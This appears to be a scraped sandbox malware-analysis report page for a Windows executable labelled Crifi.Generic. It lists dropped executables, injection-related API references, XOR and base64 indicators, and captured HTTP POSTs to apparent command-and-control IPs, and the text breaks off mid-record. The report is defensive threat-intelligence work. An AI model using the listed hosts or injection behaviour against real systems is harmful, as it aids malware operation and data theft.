24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 8c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample ceebaf2c19c0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ceebaf2c19c0…. Malware family: Crifi.Generic. Threat score 100/100. 11/25 AV engines flagged this file. 22 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ceebaf2c19c02ac36e87dd081fcb20a4bdaa2dc3e64afcd5d781c7ad23b441ff","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","ceebaf2c19c02ac36e87dd081fcb20a4bdaa2dc3e64afcd5d781c7ad23b441ff"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"ceebaf2c19c02ac36e87dd081fcb20a4bdaa2dc3e64afcd5d781c7ad23b441ff","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":11,"total":25},"behavioralIndicators":{"malicious":22,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T42e,"file.exe" called "FindResourceA" with parameter "8458960" - (UID: 00000000-00002448) "file.exe" called "FindResourceA" with parameter "8459000" - (UID: 00000000-00002448) "file.exe" called "FindResourceA" with parameter "8459016" - (UID: 00000000-00002448) "Vo8ml85.exe" called "FindResourceA" with parameter "2357592" - (UID: 00000000-00002464) "Vo8ml85.exe" called "FindResourceA" with parameter "9835208" - (UID: 00000000-00002464) "Vo8ml85.exe" called "FindResourceA" with parameter "9835216" - (UID: 00000000-00002464) "Vo8ml85.exe" called "FindResourceA" with parameter "9835244" - (UID: 00000000-00002464) "Vo8ml85.exe" called "FindResourceA" with parameter "9835256" - (UID: 00000000-00002464) "Vo8ml85.exe" called "FindResourceA" with parameter "9835272" - (UID: 00000000-00002464) "aM0RY76.exe" called "FindResourceA" with parameter "784632" - (UID: 00000000-00003844) "aM0RY76.exe" called "FindResourceA" with parameter "12325576" - (UID: 00000000-00003844) "aM0RY76.exe" called "FindResourceA" with parameter "12325584" - (UID: 00000000-00003844)26:Ta11,"file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8505456'}" (UID: 00000000-00002448) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8505408'}" (UID: 00000000-00002448) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8505360'}" (UID: 00000000-00002448) "Vo8ml85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9881680'}" (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9881712'}" (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9881696'}" (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9881664'}" (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9881616'}" (UID: 00000000-00002464) "aM0RY76.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372048'}" (UID: 00000000-00003844) "aM0RY76.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372080'}" (UID: 00000000-00003844) "aM0RY76.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372064'}" (UID: 00000000-00003844) "aM0RY76.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372032'}" (UID: 00000000-00003844) "aM0RY76.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12371984'}" (UID: 00000000-00003844) "kx3Tv79.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20760656'}" (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20760688'}" (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20760672'}" (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20760592'}" (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20760640'}" (UID: 00000000-00003636) "FM0nA02.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20170720'}" (UID: 00000000-00003964) "FM0nA02.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20170864'}" (UID: 00000000-00003964) "FM0nA02.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20170848'}" (UID: 00000000-00003964) "FM0nA02.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20170768'}" (UID: 00000000-00003964)27:T890,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "file") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "1BC12Pi1.exe.3913938919") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "1BC12Pi1.exe.3913938919") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")28:T6c8,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")29:T691,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2Aq2815.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2Aq2815.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "_tJ17sGyxOX_1_.js") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2Aq2815.exe.2348412272") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2Aq2815.exe.2348412272") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp")2a:T43e,Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") file/memory contains long string with (Indicator: "RC2"; File: "SSL") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp")2b:T12b8,Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002464-243-36-00963BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002464-243-36-00963BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-15-00961F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-15-00961F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-16-009644B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-16-009644B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-63-00965467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-63-00965467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-41-00966495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-41-00966495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-52-00964EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-52-00964EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-43-00961AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-43-00961AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-37-00963FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-37-00963FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-26-009624E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-26-009624E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-65-009653A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-65-009653A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-60-0096597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-60-0096597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-66-00962630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-66-00962630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-77-00962773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-77-00962773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-57-00966298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-57-00966298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-42-0096202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00002464-243-42-0096202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-42-0096202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-74-009636EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-74-009636EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-22-0096681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-22-0096681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-59-0096621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-59-0096621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-29-009652B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-29-009652B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-62-009655A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-62-009655A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-33-00962F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-33-00962F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-71-00962CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-71-00962CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-44-00962AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-44-00962AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-73-009617EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-73-009617EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002464-243-72-009618A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002464-243-72-009618A32c:T38f5,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "User" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "digicert" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Modified" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2023" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt" in header "GET 